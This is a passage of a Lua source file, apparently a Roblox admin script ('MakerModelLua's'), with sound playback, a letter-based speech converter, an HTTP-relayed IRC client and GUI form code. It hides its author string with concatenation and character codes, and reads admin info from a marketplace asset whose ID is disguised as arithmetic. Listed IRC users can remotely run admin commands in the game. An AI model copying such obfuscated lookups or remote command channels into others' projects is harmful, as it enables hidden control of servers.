3337 Sound.Looped = Looped
3338 return Sound
3339end
3340
3341function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3342 if not Player or not ID then return nil end
3343 if NotifySounds[ID] then ID = NotifySounds[ID] end
3344 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3345 if Settings.EnableSounds or OverrideSettings then
3346 coroutine.wrap(function()
3347 wait()
3348 ClientSound:Play()
3349 Delay(5, function() ClientSound:Destroy() end)
3350 end)()
3351 end
3352 return Sound
3353end
3354
3355function SOUND:BindButton(Button)
3356 if not Button then return end
3357 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3358 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3359end
3360
3361function SOUND:StopGlobalSound()
3362 if Sound and Sound.Parent then
3363 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3364 Sound.Parent:Destroy()
3365 end
3366
3367 Sound:Stop()
3368 Sound:Destroy()
3369 Sound.SoundId = ""
3370 end
3371end
3372
3373function SOUND:PlayGlobalSound(ID, ShowInfo)
3374 SOUND:StopGlobalSound()
3375 if ShowInfo == nil then ShowInfo = true end
3376 local SoundID = ID
3377 local SoundName = nil
3378 local SoundCreator = nil
3379 local Pitch = 1
3380
3381 for Name,Info in pairs(SoundList) do
3382 if type(SoundID) == "string" then
3383 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3384 SoundID = Info[1]
3385 SoundName = Info[2]
3386 SoundCreator = Info[3]
3387 end
3388 else
3389 break
3390 end
3391 end
3392
3393 if tonumber(SoundID) and not SoundName then
3394 local Info = MARKET:GetItemInfo(SoundID, true)
3395 if Info then
3396 SoundName = Info.Name
3397 SoundCreator = Info.Creator.Name
3398 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3399 SoundID = nil
3400 end
3401 end
3402 end
3403
3404 if tonumber(SoundID) then
3405 if SoundID == 131201443 then Pitch = -1 end
3406 if SoundID == 130775695 then Pitch = 0.8 end
3407 if SoundID == 144035866 then Pitch = 0.8 end
3408
3409 local SoundParent = Server.Workspace
3410 if IsSB then
3411 SoundParent = Instance.new("Script", Workspace)
3412 SoundParent.Name = "M".."ML'S Admin Sound"
3413 end
3414 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3415 Sound.Name = "MML's Admin Sound "..SoundID
3416 Sound:Play()
3417 if ShowInfo == true then
3418 for _,Player in pairs(Server.Players:GetPlayers()) do
3419 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3420 end
3421 end
3422 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3423 end
3424end
3425
3426function SOUND:ConvertText(Text)
3427 Text = string.lower(tostring(Text))
3428 local Letters = {}
3429 local IDs = {}
3430 for Rule,Replace in pairs(TextConverter.Pronounce) do
3431 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3432 end
3433 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3434 local Start, End = string.find(Text, string.lower(Rule))
3435
3436 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3437 Text = string.gsub(Text, string.lower(Rule), Replace)
3438 end
3439 end
3440 for i = 1,#Text do
3441 table.insert(Letters, string.sub(Text,i,i))
3442 end
3443 for Num = 1,#Letters do
3444 if not Letters[Num] then break end
3445 local Letter = Letters[Num]
3446
3447 local function AddLetter()
3448 table.insert(IDs, TextConverter.LetterSounds[Letter])
3449 end
3450
3451 if Letter ~= "~" then
3452 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3453 table.insert(IDs, TextConverter.LetterSounds["oo"])
3454 table.remove(Letters, Num + 1)
3455 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3456 table.insert(IDs, TextConverter.LetterSounds["oo"])
3457 table.remove(Letters, Num + 1)
3458 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3459 table.insert(IDs, TextConverter.LetterSounds["th"])
3460 table.remove(Letters, Num + 1)
3461 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3462 table.insert(IDs, TextConverter.LetterSounds["sh"])
3463 table.remove(Letters, Num + 1)
3464 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3465 table.insert(IDs, TextConverter.LongVowels["e"])
3466 table.remove(Letters, Num + 1)
3467 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3468 table.insert(IDs, TextConverter.LetterSounds["wh"])
3469 table.remove(Letters, Num + 1)
3470 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3471 table.insert(IDs, TextConverter.LetterSounds["ch"])
3472 table.remove(Letters, Num + 1)
3473 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3474 table.insert(IDs, TextConverter.LetterSounds["f"])
3475 table.remove(Letters, Num + 1)
3476 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3477 table.insert(IDs, TextConverter.LetterSounds[Num])
3478 Letters[Num + 1] = "j"
3479 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3480 table.insert(IDs, TextConverter.LetterSounds["oo"])
3481 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3482 table.insert(IDs, TextConverter.LongVowels["e"])
3483 table.remove(Letters, Num + 1)
3484 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3485 table.insert(IDs, TextConverter.LongVowels["e"])
3486 table.remove(Letters, Num + 1)
3487 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3488 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3489 table.insert(IDs, TextConverter.LetterSounds["s"])
3490 Letters[Num + 1] = "~"
3491 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3492 table.insert(IDs, TextConverter.LongVowels[Letter])
3493 Letters[Num + 2] = "~"
3494 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3495 table.insert(IDs, TextConverter.LongVowels["i"])
3496 Letters[Num + 1] = "~"
3497 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3498 table.insert(IDs, TextConverter.LongVowels["o"])
3499 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3500 table.insert(IDs, TextConverter.LongVowels["i"])
3501 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3502 AddLetter()
3503 table.remove(Letters, Num + 1)
3504 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3505 Letters[Num] = "~"
3506 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3507 AddLetter()
3508 table.remove(Letters, Num + 1)
3509 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3510 AddLetter()
3511 table.remove(Letters, Num + 1)
3512 elseif Letters[Num+1] == Letter then
3513 table.remove(Letters, Num)
3514 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3515 AddLetter()
3516 table.remove(Letters, Num)
3517 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3518 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3519 elseif TextConverter.LetterSounds[Letter] then
3520 AddLetter()
3521 elseif STRING:IsSpacer(Letter) then
3522 table.insert(IDs, "Rest")
3523 end
3524 end
3525 end
3526
3527 return IDs
3528end
3529
3530function SOUND:StopSpeaking() coroutine.wrap(function()
3531 NoSpeak = true
3532 wait(1)
3533 NoSpeak = false
3534 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3535 if Obj.Name == "M".."M".."L Speak Sound" then
3536 Obj:Destroy()
3537 end
3538 end
3539end)() end
3540
3541function SOUND:SayConvertedText(IDs, Parent)
3542 if not Parent then Parent = Server.Workspace end
3543 local Sounds = {}
3544 for _,Data in pairs(IDs) do
3545 if NoSpeak and Parent == Server.Workspace then
3546 break
3547 end
3548 local Length = 0.3
3549 if Data ~= "Rest" then
3550 local ID = Data[1]
3551 Length = Data[2]
3552
3553 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3554 Sound.Name = "MML Speak Sound"
3555 table.insert(Sounds, Sound)
3556 Sound:Play()
3557 if Length then
3558 coroutine.wrap(function()
3559 wait(Length)
3560 Sound:Stop()
3561 end)()
3562 end
3563 end
3564 if not Length then Length = 0.3 end
3565 wait(Length/2)
3566 end
3567 coroutine.wrap(function()
3568 wait(1)
3569 for _,Sound in pairs(Sounds) do
3570 Sound:Destroy()
3571 end
3572 end)()
3573end
3574
3575local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3576
3577function SOUND:BeepPlayer(Player)
3578 if Player:FindFirstChild("PlayerGui") then
3579 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3580 Beep.Name = "Annoy"
3581 Beep:Play()
3582 end
3583end
3584
3585function SOUND:ClearInfo()
3586 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3587end
3588
3589-- IRC functions --
3590
3591function IRC:GenerateName()
3592 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3593end
3594
3595function IRC:AddChat(Name, Data, IsError)
3596 if not IsError then IsError = false end
3597 CORE:Log(IRC.Logs, Name, Data)
3598 table.insert(IRC.Chats, {Name, Data, IsError})
3599 IRC.MessageAdded:Fire(Name, Data, IsError)
3600end
3601
3602function IRC:Post(URL,Data)
3603 if Data and Data ~= "" then
3604 local Suc,Resp = ypcall(function()
3605 return Server.HS:PostAsync(
3606 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3607 Data,
3608 Enum.HttpContentType.ApplicationUrlEncoded
3609 )
3610 end)
3611 if not Suc then
3612 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3613 return false
3614 end
3615 IRC.SessionCounter = IRC.SessionCounter + 1
3616 return Resp
3617 else
3618 IRC:AddChat("[ CLIENT ]", "Unknown error")
3619 end
3620end
3621
3622function IRC:Send(Data)
3623 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3624end
3625
3626function IRC:GetData()
3627 return IRC:Post("s","&s="..IRC.SessionID)
3628end
3629
3630function IRC:Connect()
3631 return IRC:Post("n","&nick="..IRC.NickName)
3632end
3633
3634function IRC:Join(Channel)
3635 if not Channel then
3636 AddChat("[ CLIENT ]", "No channel specified!")
3637 return false
3638 else
3639 local Channel = string.lower(Channel)
3640 if string.sub(Channel,1,1) ~= "#" then
3641 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3642 return false
3643 end
3644 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3645 IRC:Send("JOIN "..Channel)
3646 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3647 return true
3648 end
3649end
3650
3651function IRC:Pong(Data)
3652 return IRC:Send("PONG :"..Data)
3653end
3654
3655function IRC:Quit(Reason)
3656 IRC.Stop = true
3657 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3658end
3659
3660function IRC:ReceiveData()
3661 IRC.Stop = false
3662 local Data = IRC:GetData()
3663 if Data then
3664 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3665 end
3666 while Data and not Stop do
3667 local Data = IRC:GetData()
3668 if Data and #Data > 0 then
3669 IRC:HandleResponse(REMOTE:Decode(Data))
3670 end
3671 wait(2) -- Don't spam the server
3672 end
3673 if not Data then
3674 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3675 end
3676 if Stop == true then
3677 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3678 end
3679end
3680
3681function IRC:ConnectToServer(Server)
3682 if Connected then
3683 if not IRC.Servers[Server] then
3684 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3685 return false
3686 end
3687 IRC:Quit("New Connection")
3688 end
3689 local Response = IRC:Connect()
3690 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3691 local Data = REMOTE:Decode(Response)
3692 IRC.SessionID = Data[2]
3693 wait(1)
3694 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3695 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3696 IRC:Quit()
3697 IRC:ConnectToServer(Server)
3698 end
3699 IRC.Connected = true
3700 IRC:Join(Settings.IRCChannel)
3701 IRC:ReceiveData()
3702 IRC.Connected = false
3703 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3704end
3705
3706function IRC:FindUser(UserName)
3707 for UserID,User in pairs(IRC.Users) do
3708 if string.lower(User) == string.lower(UserName) then
3709 return UserID
3710 end
3711 end
3712 return nil
3713end
3714
3715function IRC:HandleResponse(Data)
3716 if type(Data) ~= "table" then
3717 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3718 ypcall(function()
3719 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3720 end)
3721 return false
3722 end
3723 for _,Output in pairs(Data) do
3724 if type(Output) == "table" and Output[2] then
3725 local ID = string.upper(Output[2])
3726 if not IRC.Ignore[ID] then
3727 if ID == "PING" then
3728 IRC:Pong(Output[4][1])
3729 elseif ID == "PRIVMSG" then
3730 local SenderDetails = Output[3]
3731 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3732 local Channel = string.lower(Output[4][1])
3733 if Channel == IRC.NickName then
3734 Channel = Sender
3735 -- TODO: Handle PM's
3736 end
3737 local Message = Output[4][2]
3738 if Message ~= nil then
3739 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3740 if string.find(Message,":") then
3741 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3742 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3743 IRC:AddChat(IRCUser, IRCMessage)
3744 end
3745 else
3746 IRC:AddChat("[ IRC ] "..Sender,Message)
3747 for _,Name in pairs(Settings.IRCCommandExecuters) do
3748 if string.lower(Name) == string.lower(Sender) then
3749 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3750 break
3751 end
3752 end
3753 end
3754 else
3755 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3756 end
3757 elseif ID == "NICK" then
3758 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3759 -- change nickname?
3760 elseif ID == "433" or ID == "451" then
3761 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3762 IRC:Quit("Nickname in use, rejoining with new name")
3763 IRC.NickName = IRC:GenerateName()
3764 wait(2) -- wait for old sessions to end
3765 IRC:ConnectToServer(Settings.IRCServer)
3766 elseif ID == "353" then
3767 if Data[4][4][4] then
3768 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3769 table.insert(IRC.Users, Output)
3770 end
3771 end
3772 elseif ID == "QUIT" or ID == "PART" then
3773 for User in string.gmatch(Data[1][3], "[^!~]+") do
3774 if IRC:FindUser(User) then
3775 IRC:AddChat("[ IRC ]", User.." has left")
3776 table.remove(IRC.Users, IRC:FindUser(User))
3777 end
3778 end
3779 elseif ID == "JOIN" then
3780 for User in string.gmatch(Data[1][3], "[^!~]+") do
3781 if not string.find(User, "qwebirc") then
3782 IRC:AddChat("[ IRC ]", User.." has joined")
3783 table.insert(IRC.Users,w)
3784 end
3785 end
3786 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3787 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3788 --IRC:Quit("Connection lost")
3789 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3790 --IRC:ConnectToServer(Settings.IRCServer)
3791 elseif IRC.Codes[ID] then
3792 --print(ID)
3793 --print(Data[i][4][2])
3794 --print(Data[i][4][2])
3795 elseif ID == "KICK" then
3796 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3797 IRC:Quit("Kicked from IRC")
3798 elseif ID then
3799 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3800 else
3801 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3802 end
3803 end
3804 else
3805 if Output == false then return false end -- sneeky server
3806 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3807 end
3808 end
3809end
3810
3811-- GUI functions --
3812
3813function GUI:GetColor(ColorName)
3814 if not ColorName then ColorName = Settings.ColorScheme end
3815 return Colors[string.upper(ColorName)]
3816end
3817
3818function GUI:ContrastColor(Color)
3819 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3820 if not Color then Color = GUI:GetColor() end
3821 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3822end
3823
3824
3825function GUI:GetNameColor(Name)
3826 local Val = 0
3827 for i = 1, #Name do
3828 local CVal = string.byte(string.sub(Name, i, i))
3829 local RevIndex = #Name - i + 1
3830 if #Name%2 == 1 then
3831 RevIndex = RevIndex - 1
3832 end
3833 if RevIndex%4 >= 2 then
3834 CVal = -CVal
3835 end
3836 Val = Val + CVal
3837 end
3838 local Index = Val%8 + 1
3839
3840 return BrickColor.new(ChatColors[Index])
3841end
3842
3843function GUI:Color3ToHex(Color)
3844 local function ConvertNumber(Number)
3845 local HexString = "0123456789abcdef"
3846 local Byte = ""
3847 while Number > 0 do
3848 local Calc = math.fmod(Number, 16)
3849 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3850 Number = math.floor(Number / 16)
3851 end
3852 if Calc == "" then
3853 Byte = "00"
3854 elseif #Byte == 1 then
3855 Byte = "0"..Byte
3856 elseif Byte == "" then
3857 Byte = "00"
3858 end
3859 return Byte
3860 end
3861 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3862end
3863
3864function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3865 if not Player then return nil end
3866 if not Player:FindFirstChild("PlayerGui") then return nil end
3867 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3868 if not TitleText then TitleText = "Unknown" end
3869 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3870 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3871 if not IconID then IconID = 19919809 end
3872 if ShowFormButtons == nil then ShowFormButtons = true end
3873 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3874 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3875 if AutoOffset == nil then AutoOffset = true end
3876 if Icons[IconID] then IconID = Icons[IconID] end
3877 if TweenPosition == nil then TweenPosition = true end
3878 if NoModal == nil then NoModal = false end
3879 if NoScrollFrame == nil then NoScrollFrame = false end
3880
3881 local IsClosed = false
3882 local Minus = nil
3883 local Offset = 0
3884 local ContentType = "ScrollingFrame"
3885 local TweenSpeed = 0.3
3886
3887 if AutoOffset then
3888 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3889 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3890 if Item.IsActive.Value == true then
3891 if Item.IsTrueForm.Value == true then
3892 Offset = Offset + 50
3893 end
3894 end
3895 end
3896 end
3897 end
3898
3899 if NoScrollFrame == true then
3900 ContentType = "Frame"
3901 end
3902
3903 SOUND:PlayNotification(Player, 155331654)
3904
3905 local Position = Position + UDim2.new(0,Offset,0,Offset)
3906 local MinimizePos = Position
3907
3908 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3909 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3910 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3911
3912 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3913 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3914 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3915 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3916 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3917 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3918 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3919 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3920 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3921
3922 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3923 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3924 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3925 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3926 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3927
3928 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3929
3930 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3931
3932 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3933 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3934 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3935 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3936 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3937 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3938
3939 if Settings.EnableTaskBar then
3940 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3941 else
3942 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3943 Title.Size = UDim2.new(1, -95, 0, 25)
3944 end
3945
3946 if not ShowFormButtons then
3947 X:Destroy()
3948 TitleEnd:Destroy()
3949 Title.Size = UDim2.new(1, -55, 0, 25)
3950 end
3951
3952 local function CloseForm()
3953 if IsClosed == false then
3954 IsActive.Value = false
3955 IsClosed = true
3956 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3957 Closed:Fire()
3958 SOUND:PlayNotification(Player, 206375138)
3959 end
3960 end
3961
3962 local function MinimizeForm()
3963 if IsActive.Value == true then
3964 IsActive.Value = false
3965 Minimized:Fire()
3966 MinimizePos = Dragger.Position
3967 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3968 end
3969 end
3970
3971 local function RestoreForm()
3972 if IsActive.Value == false then
3973 IsActive.Value = true
3974 Restored:Fire()
3975 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3976 end
3977 end
3978
3979 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3980 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3981
3982 Close.OnInvoke = CloseForm
3983 Minimize.OnInvoke = MinimizeForm
3984 Restore.OnInvoke = RestoreForm
3985
3986 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3987
3988 if TaskBar then
3989 TaskBar:WaitForChild("AddForm")
3990 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3991 end
3992
3993 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3994end
3995
3996function GUI:CoreGui(Player, Type, Enable)
3997 local Parent = Player:FindFirstChild("Backpack")
3998 if not Parent then Parent = Player.Backpack end
3999 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4000end
4001
4002function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4003 if not Player or not Player:IsA("Player") then return nil end
4004 if BodyText == "" then return nil end
4005 if not Player:FindFirstChild("PlayerGui") then return nil end
4006
4007 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4008 local TextColor = GUI:GetColor(MessageSplit[1])
4009 if TextColor then BodyText = MessageSplit[2] end
4010 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4011
4012 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4013 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4014
4015 if Frame then
4016 local FormBar = Frame.Parent.Parent.FormBar
4017 local Said = false
4018 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4019 if Settings.EnableTaskBar then
4020 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4021 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4022 else
4023 Speak.Position = UDim2.new(1, -58, 0, 5)
